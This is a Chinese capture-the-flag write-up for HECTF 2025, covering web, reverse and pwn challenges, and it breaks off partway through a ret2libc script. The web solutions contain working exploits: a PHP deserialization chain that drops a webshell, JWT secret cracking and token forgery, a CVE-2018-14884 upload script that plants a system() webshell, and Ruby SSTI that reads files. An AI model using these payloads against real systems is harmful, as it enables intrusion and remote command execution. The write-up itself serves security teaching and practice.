26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
error_reporting(0);

class FileHandler {
private $fileHandle;
private $fileName;

public function __construct($fileName = 'data.txt') {
$this->fileName = $fileName;
$this->fileHandle = fopen($fileName, 'a');
}

public function __destruct() {
if ($this->fileHandle) {
fclose($this->fileHandle);
}
echo $this->fileName;
}
}

class Config {
private $settings = [];

public function __get($key) {
return $this->settings[$key] ?? null;
}

public function __set($key, $value) {
$this->settings[$key] = strip_tags($value);
}
}

class MySessionHandler {
private $sessionId;
private $data = [];

public function __wakeup() {
$this->data = [];
$this->sessionId = uniqid('sess_', true);
}
}

class User {
private $userData = [];
public $data;
public $params;

public function __set($name, $value) {
$this->userData[$name] = $value;
}

public function __get($name) {
return $this->userData[$name] ?? null;
}

public function __toString() {
if (is_string($this->params) && is_array($this->data) && count($this->data) === 2) {
call_user_func($this->data, $this->params);
}
return "User";
}
}

class CacheManager {
private $cacheDir;
private $ttl;

public function __construct($dir = '/tmp/cache', $ttl = 3600) {
$this->cacheDir = $dir;
$this->ttl = $ttl;
}

public function __destruct() {
error_log("[Cache] Destroyed manager for {$this->cacheDir}");
}
}

class Logger {
private $logFile;

public function __construct($logFile = 'app.log') {
$this->logFile = $logFile;
}

public function setLogFile($file) {
$this->logFile = $file;
}

private function log($message) {
file_put_contents($this->logFile, $message . PHP_EOL, FILE_APPEND);
}

public function __invoke($msg) {
$this->log($msg);
}
}

class UserProfile {
public $name;
public $email;

public function __toString() {
return "User: {$this->name} ({$this->email})";
echo $this->name;
echo $this->email;
}
}

class MathHelper {
private $factor = 1;

public function __invoke($x) {
return $x * $this->factor;
}
}


if (isset($_GET['data'])) {
$input = $_GET['data'];
if (preg_match('/bash|sh|exec|system|passthru|`|eval|assert/i', $input)) {
die("Hacker?\n");
}
@unserialize(base64_decode($input));
echo "Done.\n";
} else {
highlight_file(__FILE__);
}

可以构造链:

  1. 反序列化一个 FileHandler 对象
  2. FileHandler::$fileName 指向一个 User 对象
  3. User::$data = [$loggerObject, "__invoke"]
  4. User::$params = "想写入的内容"
  5. Logger::$logFile = "想写入的路径"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from phpserialize import *
from base64 import b64encode
from urllib.parse import quote

class Logger:
private_logFile='2.php'

class User:
public_data=[Logger(),'__invoke']
public_params='<?php (sys.tem)($_GET[x]);?>'

class FileHandler:
private_fileName=User()

print(quote(b64encode(serialize(FileHandler()).encode()).decode()))

# TzoxMToiRmlsZUhhbmRsZXIiOjE6e3M6MjE6IgBGaWxlSGFuZGxlcgBmaWxlTmFtZSI7Tzo0OiJVc2VyIjoyOntzOjQ6ImRhdGEiO2E6Mjp7aTowO086NjoiTG9nZ2VyIjoxOntzOjE1OiIATG9nZ2VyAGxvZ0ZpbGUiO3M6NToiMi5waHAiO31pOjE7czo4OiJfX2ludm9rZSI7fXM6NjoicGFyYW1zIjtzOjI4OiI8P3BocCAoc3lzLnRlbSkoJF9HRVRbeF0pOz8%2BIjt9fQ%3D%3D

访问:

1
/ser.php?data=TzoxMToiRmlsZUhhbmRsZXIiOjE6e3M6MjE6IgBGaWxlSGFuZGxlcgBmaWxlTmFtZSI7Tzo0OiJVc2VyIjoyOntzOjQ6ImRhdGEiO2E6Mjp7aTowO086NjoiTG9nZ2VyIjoxOntzOjE1OiIATG9nZ2VyAGxvZ0ZpbGUiO3M6NToiMi5waHAiO31pOjE7czo4OiJfX2ludm9rZSI7fXM6NjoicGFyYW1zIjtzOjI4OiI8P3BocCAoc3lzLnRlbSkoJF9HRVRbeF0pOz8%2BIjt9fQ%3D%3D

成功写入2.php,再访问:

1
2.php?x=cat%20php/fffffllllaaagg.php

得到:

1
SEVDVEZ7YzBuZ3I0dHNfbDF0dGwzX2g0Y2szcl95MHVfZjB1bmRfbXlfNTNjcjN0X2cxZnR9

base64解码得flag:

HECTF{c0ngr4ts_l1ttl3_h4ck3r_y0u_f0und_my_53cr3t_g1ft}

像素勇者和神秘宝藏

📜 背景故事: 你是一位像素世界的勇者,听说在古老的“Flag神殿”中藏有一件神秘宝藏。但神殿被三道魔法门封锁,每道门都需要特定的“勇气值”才能打开。而你的初始勇气值只有 0……

源代码有注释:

1
2
3
4
5
6
7
<!--
A: 什么???我们是不是好兄弟,你背着我偷偷打什么比赛???
B: 没有啦,你要打吗,HECTF,来玩吧。
A: 可以啊!够兄弟的,HECTF是大写还是小写,我去搜搜。
B: 嘿嘿,这是秘密,你试试就知道啦。
A: 行吧,你真讨厌。
-->

bp抓包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /enter HTTP/1.1
Host: 47.100.66.83:31302
Content-Length: 16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://47.100.66.83:31302
Referer: http://47.100.66.83:31302/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: role=user; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicGxheWVyIiwiYmxlc3NlZCI6dHJ1ZSwiZXhwIjoxNzY2MjE4NzkxfQ.F0tHIWKhQL5Ge1BT2YWx88ig3mwleCJZdN8MKfeIxN8
Connection: close

door=B&courage=0

按要求,修改role为vip,courage大于10000,以及jwt。

由注释提示,jwt secret为”hectf”各字母大小写的组合,生成字典,爆破:

1
./gojwtcrack -t t.txt -d dic.txt 

得到secret是”hEctF”,生成新jwt,将blessed改为true:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicGxheWVyIiwiYmxlc3NlZCI6dHJ1ZSwiZXhwIjoxNzY2MjIyNjQxfQ.08WfUJJtY2ZCkvIGOro-xC8B9XO93MLve61NZ1JyZzE

bp改包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /enter HTTP/1.1
Host: 47.100.66.83:31302
Content-Length: 22
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://47.100.66.83:31302
Referer: http://47.100.66.83:31302/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: role=vip; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicGxheWVyIiwiYmxlc3NlZCI6dHJ1ZSwiZXhwIjoxNzY2MjIyNjQxfQ.08WfUJJtY2ZCkvIGOro-xC8B9XO93MLve61NZ1JyZzE
Connection: close

door=C&courage=1000000

返回:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: gunicorn
Date: Sat, 20 Dec 2025 08:25:41 GMT
Connection: close
Content-Type: application/json
Content-Length: 146

{"flag":"HECTF{pix3l_h3r0_4lw4ys_wan34ts_t1o_enter111_d00rs_and_FInd_tr2asures!}","msg":"\u795e\u6bbf\u4e4b\u95e8\u8f70\u7136\u5f00\u542f\uff01"}

flag:

HECTF{pix3l_h3r0_4lw4ys_wan34ts_t1o_enter111_d00rs_and_FInd_tr2asures!}

ez_include

不太一样的文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
$file = $_GET['file'] ?? null;
if ($file === 'tmp') {
$tmpDir = '/tmp';
if (!is_dir($tmpDir) || !is_readable($tmpDir)) {
die("/tmp目录不可访问或不存在");
}

$files = scandir($tmpDir);
if ($files === false) {
die("无法扫描/tmp目录");
}

$phpFiles = [];
foreach ($files as $filename) {
if ($filename !== '.' && $filename !== '..' && strpos($filename, 'php') === 0) {
$phpFiles[] = $filename;
}
}

if (empty($phpFiles)) {
die();
}

foreach ($phpFiles as $name) {
$lastFour = strlen($name) >= 4 ? substr($name, -4) : $name;
echo $lastFour;
}
exit;
}

if (empty($file)) {
die("请传入有效的file参数");
}

function isAllowedFile($file) {
$filterPrefix = 'php://filter/string.strip_tags/resource=';
if (strpos($file, $filterPrefix) === 0) {
$resourcePath = substr($file, strlen($filterPrefix));
$resourceRealPath = realpath($resourcePath);

if ($resourceRealPath === false) {
return false;
}

$tmpBaseDir = realpath('/tmp') . '/';
$allowedIndexPhp = realpath('index.php');

if (strpos($resourceRealPath, $tmpBaseDir) === 0 || $resourceRealPath === $allowedIndexPhp) {
return true;
} else {
return false;
}
}

$realPath = realpath($file);
if ($realPath === false) {
return false;
}

$tmpBaseDir = realpath('/tmp') . '/';
if (strpos($realPath, $tmpBaseDir) === 0) {
return true;
}

$allowedIndexPhp = realpath('index.php');
if ($realPath === $allowedIndexPhp) {
return true;
}

return false;
}

if (!isAllowedFile($file)) {
die("file参数不合法");
}

$includeResult = @include($file);

if ($includeResult === false) {
die("<br>无法包含文件");
}
?>

分析源码:

特殊参数 file=tmp

  • 扫描 /tmp 目录下以 "php" 开头的文件。
  • 输出文件名的后四位
  • 可能用于泄露临时文件名,这里用的是 strpos($filename, 'php') === 0,所以只有以 "php" 开头的文件才会被统计。

核心检查函数 isAllowedFile($file)

  • php://filter 支持

    允许的格式:php://filter/string.strip_tags/resource=<file>

    realpath() 会解析真实路径。

    仅允许:

    • 文件在 /tmp 目录下

    • 文件是 index.php 本身

  • 普通文件路径检查

    realpath($file) 成功返回真实路径。

    允许:

    • /tmp/xxx 文件
    • index.php

    其他路径都被拒绝。

可以通过上传,在/tmp生成临时文件 phpXXXXXX,写入webshell。

利用 php7 segment fault特性(CVE-2018-14884)

使用 php://filterstrip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除,这样的情况下只需要知道其文件名就可以包含恶意代码。

使用 php://filter/string.strip_tags 导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

利用条件:

php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

由于使用特殊参数 file=tmp 只泄露了文件名后4位,还需爆破2位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import io
import requests
from string import *
from tqdm import *

def getResp(s):
k = s.index('</code>')+len('</code>')
return s[k:]

s = requests.Session()

url = 'http://47.100.66.83:31261/index.php'
table = ascii_letters + digits

# CVE-2018-14884,报错让临时文件驻留
f = io.BytesIO(b'<?php system($_GET[0]);?>')
try:
r = s.post(f'{url}?file=php://filter/string.strip_tags/resource=index.php', files={'file': ('q.txt', f)})
except:
pass

r = s.get(f'{url}?file=tmp')
last4 = getResp(r.text)[-4:]
print(last4)

# bruteforce /tmp/php+XX+last4
for x in tqdm(table):
for y in table:
r = s.get(f'{url}?file=/tmp/php{x}{y}{last4}&0=id')
get = getResp(r.text)
if '不合法' not in get:
print(f'php{x}{y}{last4}')
print(get)

如果爆破出:php5mXPMm,再访问:

1
?file=/tmp/php5mXPMm&0=cat%20/ffffffflllllaaaaaagggggg

得flag。

红宝石的恶作剧

ez_ssti

bp抓包,测试输入,出现报错的情况:

image-20251221220200467

判断为基于ruby语言的web框架。

查找到列目录的方式:

?name=Dir.entries('/')

image-20251221220333086

再尝试读文件,测试出使用 IO.read 的方法能成功读到根目录真正的flag文件内容:

?name=IO.read('/flag')

image-20251221220438824

Reverse

easyree

flag格式为HECTF{xxxxxxxxxxxx}

提示1 xixi快来签到吧~

提示2 这一串怎么不对啊,是不是被修改了

c++程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 first_not_of; // [rsp+0h] [rbp-D0h]
__int64 last_not_of; // [rsp+8h] [rbp-C8h]
char v8[32]; // [rsp+10h] [rbp-C0h] BYREF
char v9[32]; // [rsp+30h] [rbp-A0h] BYREF
char v10[32]; // [rsp+50h] [rbp-80h] BYREF
char v11[32]; // [rsp+70h] [rbp-60h] BYREF
char v12[40]; // [rsp+90h] [rbp-40h] BYREF
unsigned __int64 v13; // [rsp+B8h] [rbp-18h]

v13 = __readfsqword(0x28u);
std::string::basic_string(v8, a2, a3);
std::operator<<<std::char_traits<char>>(&std::cout, "Enter your flag: ");
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v8);
first_not_of = std::string::find_first_not_of(v8, " \t\r\n", 0LL);
last_not_of = std::string::find_last_not_of(v8, " \t\r\n", -1LL);
if ( first_not_of == -1 )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "wrong");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
else
{
std::string::substr(v9, v8, first_not_of, last_not_of - first_not_of + 1);
std::string::operator=(v8, v9);
std::string::~string(v9);
sub_1389(v10);
sub_143F(v11);
sub_14FE(v12, v8, v10);
if ( (unsigned __int8)sub_1A4F(v12, v11) )
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "you are right");
else
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "wrong!!Please try again!!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
std::string::~string(v12);
std::string::~string(v11);
std::string::~string(v10);
}
std::string::~string(v8);
return 0LL;
}

sub_1389函数里字符串异或0x55,提取出来异或:

image-20251220113146270

sub_143F函数里字符串异或0x33,提取出来异或:

image-20251220113227895

sub_14FE函数是base64编码算法。

变表解base64:

image-20251220113344026

flag:

HECTF{welc0m3_t0_rev3r3e_w0r1d_x1x1}

babyre

baby~

16进制查看,文件头PE改MZ,AddressOfNewExeHeader的100h改为108h。

python exe程序,pyinstxtractor解包,找到babyre.pyc,在线反编译得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def rc4_crypt(data: bytes, key: bytes) -> bytes:
sbox = [(i * 3 + 7) % 256 for i in range(256)]
j = 0
key_len = len(key)
for i in range(256):
k = key[i % key_len]
j = j + sbox[i] + (k ^ 90) + (i ^ j) & 255
a = i + 1 & 255
b = j - 1 & 255
sbox[a], sbox[b] = (sbox[b], sbox[a])
i = 0
j = 0
out = bytearray()
for byte in data:
i = i + 1 & 255
j = j + (sbox[i] ^ 90) + (i ^ j) & 255
a = i + 1 & 255
b = j - 1 & 255
sbox[a], sbox[b] = (sbox[b], sbox[a])
t = sbox[a] + sbox[b] & 255
out.append(byte ^ sbox[t])
return bytes(out)
CIPHERTEXT = bytes.fromhex('b956c3fbf3d57b2a800834ebbf9deabb814b8a2169dcd0fd18ffd3b003')
KEY = b'L00K1t'

def main():
print('===Welcome To HECTF2025===')
user_input = input('please input your flag: ').strip().encode('utf-8')
user_encrypted = rc4_crypt(user_input, KEY)
if user_encrypted == CIPHERTEXT:
print('you are right!!')
else:
print('wrong!')
if __name__ == '__main__':
main()

魔改RC4,根据对称性改下输入为密文,解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def rc4_crypt(data: bytes, key: bytes) -> bytes:
sbox = [(i * 3 + 7) % 256 for i in range(256)]
j = 0
key_len = len(key)
for i in range(256):
k = key[i % key_len]
j = j + sbox[i] + (k ^ 90) + (i ^ j) & 255
a = i + 1 & 255
b = j - 1 & 255
sbox[a], sbox[b] = (sbox[b], sbox[a])
i = 0
j = 0
out = bytearray()
for byte in data:
i = i + 1 & 255
j = j + (sbox[i] ^ 90) + (i ^ j) & 255
a = i + 1 & 255
b = j - 1 & 255
sbox[a], sbox[b] = (sbox[b], sbox[a])
t = sbox[a] + sbox[b] & 255
out.append(byte ^ sbox[t])
return bytes(out)


CIPHERTEXT = bytes.fromhex('b956c3fbf3d57b2a800834ebbf9deabb814b8a2169dcd0fd18ffd3b003')
KEY = b'L00K1t'

m = rc4_crypt(CIPHERTEXT, KEY)
print(m)

# b'HECTF{D0_y0u_L1K3_pyth0n_3C4}'

traceme

这里生活着一对父子。 父亲总是默默注视着他人发给孩子的信息,并悄悄修改它…… 你能找出他们真正的交流方式吗?

核心思路:

fork() 创建父子进程

子进程:

  • 读取用户输入 flag
  • flag 的奇数下标字符做 ^ 0x13
  • 每次修改后 raise(SIGSTOP) 暂停自己

父进程:

  • 每次在子进程暂停时
  • ptrace 读取子进程内存中的 flag[i]
  • 对该字节进行循环位移变换
  • 再写回子进程内存

最终子进程将被父进程篡改后的 flag与内置 data 比较。校验并不在用户输入阶段完成,而是分布在父子进程协作中完成。

奇数下标(子进程):

1
flag[i] = input[i] ^ 0x13

偶数下标(父进程):

1
flag[i] = ROR(input[i], (i % 8 == 0 ? 8 : i % 8))

逆向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def rol(x, n):
n %= 8
return ((x << n) | (x >> (8 - n))) & 0xff

data = [0x48, 0x56, 0xD0, 0x47, 0x64, 0x68, 0xAD, 0x5E, 0x33, 0x66,
0x11, 0x26, 0x86, 0x40, 0xC8, 0x75, 0x49, 0x25, 0x98, 0x57,
0x53, 0x7C, 0x0D, 0x21, 0x63, 0x49, 0x0D, 0x66, 0x94, 0x2A,
0xC5, 0x6E]

flag = []

for i in range(32):
if i % 2 == 0:
shift = i % 8
if shift == 0:
shift = 8
flag.append(rol(data[i], shift))
else:
flag.append(data[i] ^ 0x13)

print(bytes(flag))

# b'HECTF{kM3uD5hS2fI6bD5oC2cZ4uI9q}'

SelfHash

它记得自己原本的样子。 它也只信任完整的自己……你也该相信它。 试试看,它愿意向你展示什么?

image-20251220230806958

程序要求输入32字节,sub_14001B120函数实现SHA-256算法,将自身152字节计算hash,取第一个int作为seed,计算出固定xor值,用于后续SMC修改lpAddress_。

sub_14001B120函数中存在反调:

image-20251220230854590

不能patch,否则会影响hash结果,直接提取sub_14001B120函数对应汇编码计算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from hashlib import sha256
from Crypto.Util.number import *
from ctypes import *

s = bytes.fromhex('4C89442418488954241048894C24084881ECB8000000488B05C3CE00004833C448898424A0000000FF15BA1E000085C0740BB901000000E8A497FEFF90488D05BCFFFFFF4889442420488D4C2430E8DD0800004C8B8424C8000000488B9424C0000000488D4C2430E8E3020000488B9424D0000000488D4C2430E82100000090488B8C24A00000004833CCE81060FEFF4881C4B8000000C3')
sh = sha256(s).digest()
seed = bytes_to_long(sh[:4][::-1])

libc = cdll.msvcrt
libc.srand(seed)
r = libc.rand() % 100
print(hex(r))

# 0x58

静态通过idc代码修改lpAddress_:

1
2
3
4
5
6
7
8
9
10
11
#include <idc.idc>

static main()
{
auto addr = 0x140028a80;
auto i = 0;
for(i=0;i<352;i++)
{
PatchByte(addr+i,Byte(addr+i)^0x58);
}
}

还原得到加密逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall sub_140028A80(unsigned int *a1, _DWORD *a2)
{
__int64 n4; // rax
unsigned int v3; // [rsp+0h] [rbp-38h]
unsigned int v4; // [rsp+4h] [rbp-34h]
int v5; // [rsp+8h] [rbp-30h]
unsigned int n0x20; // [rsp+Ch] [rbp-2Ch]

v3 = *a1;
v4 = a1[1];
v5 = 0;
for ( n0x20 = 0; n0x20 < 0x20; ++n0x20 )
{
v5 -= -0x9E3589B7;
v3 += (a2[1] + (v4 >> 5)) ^ (v5 + v4) ^ (*a2 + 8 * v4);
v4 += (a2[3] + (v3 >> 5)) ^ (v5 + v3) ^ (a2[2] + (v3 << 6));
}
*a1 = v3;
n4 = 4;
a1[1] = v4;
return n4;
}

魔改TEA逆向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *

def decrypt(v, k):
v0 = v[0]
v1 = v[1]
delta = 0x9E3589B7
x = delta * 32
k0 = k[0]
k1 = k[1]
k2 = k[2]
k3 = k[3]
for i in range(32):
v1 -= ((v0 << 6) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
v1 = v1 & 0xFFFFFFFF
v0 -= ((v1 << 3) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
v0 = v0 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v

key = [2, 2, 3, 4]

encrypted = [0xDABF400D,0x7288A4F0,0x310493C2,0x77160BC1,0x2D998CC2,0x60B37A5D,0xFDFE841F,0x39E12697]

decrypted = []
final = b''
for i in range(len(encrypted)//2):
now = decrypt(encrypted[2*i:2*(i+1)], key)
decrypted += now
final += long_to_bytes(now[0])[::-1] + long_to_bytes(now[1])[::-1]

print(final)

# b'HECTF{tY6iR5pE4jL7nX3sJ1pU3iP3w}'

ezapp

ezapp!!

jadx分析,apk代码有加壳,分析lib里面的so文件。

查看JNI_Onload,代码逻辑:

对输入字符串逐字节做 xor (index - 91),把结果送进 sub_1A920,校验输出是否与固定 28 字节常量匹配。

sub_1A920 函数,判定为魔改XXTEA,Delta值和轮数有变化,且key经过ror+xor+shuffle处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
import struct

DELTA = 0x1B93BA5C

TARGET = bytes.fromhex("62937aa2c0df9180b14babfe8ba0bcd65429d56adb35c6fade19d10b")

UNK_10F80 = bytes([
0x10,0x32,0x54,0x76, 0x98,0xBA,0xDC,0xFE,
0x01,0x23,0x45,0x67, 0x89,0xAB,0xCD,0xEF
])

F8C0 = bytes([0xA5] * 16)

def rol32(x: int, r: int) -> int:
return ((x << r) & 0xFFFFFFFF) | (x >> (32 - r))

def derive_round_key(unk_10f80: bytes, f8c0: bytes):
lanes = list(struct.unpack("<4I", unk_10f80))
A = struct.unpack("<I", f8c0[:4])[0] # 0xA5A5A5A5

# shuffle imm=0x39 => [1,2,3,0]
# v34[i] = rol32(lanes[(i+1)%4],3) + (A ^ lanes[i])
v34 = [ (rol32(lanes[(i + 1) % 4], 3) + (A ^ lanes[i])) & 0xFFFFFFFF for i in range(4) ]
return v34

ROUND_KEY = derive_round_key(UNK_10F80, F8C0)

def rounds_for_n(n: int) -> int:
return 7 + (52 // n)

def pack_u32_le(data: bytes):
n = (len(data) + 3) // 4
padded = data + b"\x00" * (4 * n - len(data))
v = list(struct.unpack("<%dI" % n, padded))
return v

def unpack_u32_le(v):
return struct.pack("<%dI" % len(v), *v)

def MX(z: int, y: int, sum_: int, p: int, key):
return (
(((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4)))
^ ((sum_ ^ y) + (key[((sum_ >> 2) & 3) ^ (p & 3)] ^ z))
) & 0xFFFFFFFF
# 与 sub_1A920 内层更新式同构

def xxtea_variant_encrypt(plain: bytes, key):
v = pack_u32_le(plain)
n = len(v)
if n == 0:
return b""

r = rounds_for_n(n)
sum_ = 0
z = v[n - 1]

for _ in range(r):
sum_ = (sum_ - DELTA) & 0xFFFFFFFF
for p in range(n - 1):
y = v[p + 1]
v[p] = (v[p] + MX(z, y, sum_, p, key)) & 0xFFFFFFFF
z = v[p]
y = v[0]
v[n - 1] = (v[n - 1] + MX(z, y, sum_, n - 1, key)) & 0xFFFFFFFF
z = v[n - 1]

return unpack_u32_le(v)

def xxtea_variant_decrypt(cipher: bytes, key):
v = pack_u32_le(cipher)
n = len(v)
if n == 0:
return b""

r = rounds_for_n(n)
sum_ = (-DELTA * r) & 0xFFFFFFFF
y = v[0]

for _ in range(r):
for p in range(n - 1, 0, -1):
z = v[p - 1]
v[p] = (v[p] - MX(z, y, sum_, p, key)) & 0xFFFFFFFF
y = v[p]
z = v[n - 1]
v[0] = (v[0] - MX(z, y, sum_, 0, key)) & 0xFFFFFFFF
y = v[0]
sum_ = (sum_ + DELTA) & 0xFFFFFFFF

return unpack_u32_le(v)

def pre_xor(data: bytes) -> bytes:
b = bytearray(data)
for i in range(len(b)):
b[i] ^= (i - 91) & 0xFF
return bytes(b)
# XOR 可逆,逆操作就是再做一次同样的 pre_xor

def solve_flag():
# 1) 逆 sub_1A920 得到 “XOR 后的 28B”
xored = xxtea_variant_decrypt(TARGET, ROUND_KEY)

# 2) 逆 XOR 得到明文字节(包含 padding 影响)
plain = pre_xor(xored)

return plain

def verify(flag_str: str) -> bool:
data = flag_str.encode("ascii")
cipher = xxtea_variant_encrypt(pre_xor(data), ROUND_KEY)
return cipher == TARGET

if __name__ == "__main__":
flag = solve_flag()
print(flag)

# b'HECTF{h0p3_Y08_Llk3_A77_RE}\xc0'

cython

cython!!启动!!

check_flag.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

KEY_HEX = "85babb7b142ff80ce8aee154813a7281"
IV_HEX = "30313233343536373839616263646566"
CIPHER_HEX = "4945617b21bf70fd9195c3e530f607490328028d44745c99b8cb7957958266fa9edf3f79bcf6ef0d7476118e5ba11523"

aes_key = bytes.fromhex(KEY_HEX)
aes_iv = bytes.fromhex(IV_HEX)
target_ct = bytes.fromhex(CIPHER_HEX)

cipher = AES.new(aes_key, AES.MODE_CBC, aes_iv)
pre_bytes = unpad(cipher.decrypt(target_ct), AES.block_size)

core = ''.join([chr(b ^ 0x1F) for b in pre_bytes])
flag = f"HECTF{{{core}}}"

print("解密得到的flag:", flag)

和给的so文件无关,直接解AES,再异或0x1f即可。

image-20251221215630435

flag:

HECTF{e10c4a7ad19f60bbbbba8a962c6b4447}

Pwn

nc一下~

小明从系统后台中发现了一段有问题的日志,你能从中找到奇怪点并且消除吗?

第一步,日志里,病毒上传时间是 POST /01/data/upload/ 对应的日期,病毒名称是 GET /01/data/upload/upd0te.phpupd0te.php

第二步,随便尝试 7 8 9,凭运气能通。

记录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
请找到黑客的操作[ 提交答案:病毒上传的时间+病毒名称 ]:18/May/2024:21:56:14+upd0te.php
输入正确!恭喜来到病毒的世界,通过数字对战游戏战胜病毒即可消除它...

================ 数字对战游戏 ===============
1. a、b、c的取值范围是0-9,且选择不能重复
2. 通过某种计算,每局最终的sum值大的一方获胜
3. 先得3分者胜
=============================================

===== 第1局 =====
请输入参数 a :7
请输入参数 b :9
请输入参数 c :8

------ 第1局结果 ------
您的选择:a=7, b=9, c=8
病毒选择:a=0, b=3, c=1
结果:您获胜!
当前比分:您 1 - 0 病毒


===== 第2局 =====
请输入参数 a :8
请输入参数 b :9
请输入参数 c :7

------ 第2局结果 ------
您的选择:a=8, b=9, c=7
病毒选择:a=0, b=2, c=3
结果:您获胜!
当前比分:您 2 - 0 病毒


===== 第3局 =====
请输入参数 a :7
请输入参数 b :9
请输入参数 c :8

------ 第3局结果 ------
您的选择:a=7, b=9, c=8
病毒选择:a=0, b=2, c=3
结果:您获胜!
当前比分:您 3 - 0 病毒

===== 比赛结束!=====

===== 所有对局详细记录 ====

----- 第1局 -----
您的选择: a=7, b=9, c=8 | sum值:57.39398
病毒选择: a=0, b=3, c=1 | sum值:41.55686
结果:您获胜

----- 第2局 -----
您的选择: a=8, b=9, c=7 | sum值:55.85858
病毒选择: a=0, b=2, c=3 | sum值:51.26837
结果:您获胜

----- 第3局 -----
您的选择: a=7, b=9, c=8 | sum值:57.39398
病毒选择: a=0, b=2, c=3 | sum值:51.26837
结果:您获胜

===== 最终结果 =====
恭喜您获胜!
病毒悄悄溜走了,并留下了:HECTF{YEiJQXtfWzuccCw7R2ZFwY9hCNTZjFdj}

shop

shoping!

record_purchase函数最后有个 gets(v1),存在栈溢出,打ret2libc即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.arch='amd64'

r=remote('47.100.66.83',30517)
elf=ELF('./shop')
libc=ELF('./libc.so.6')

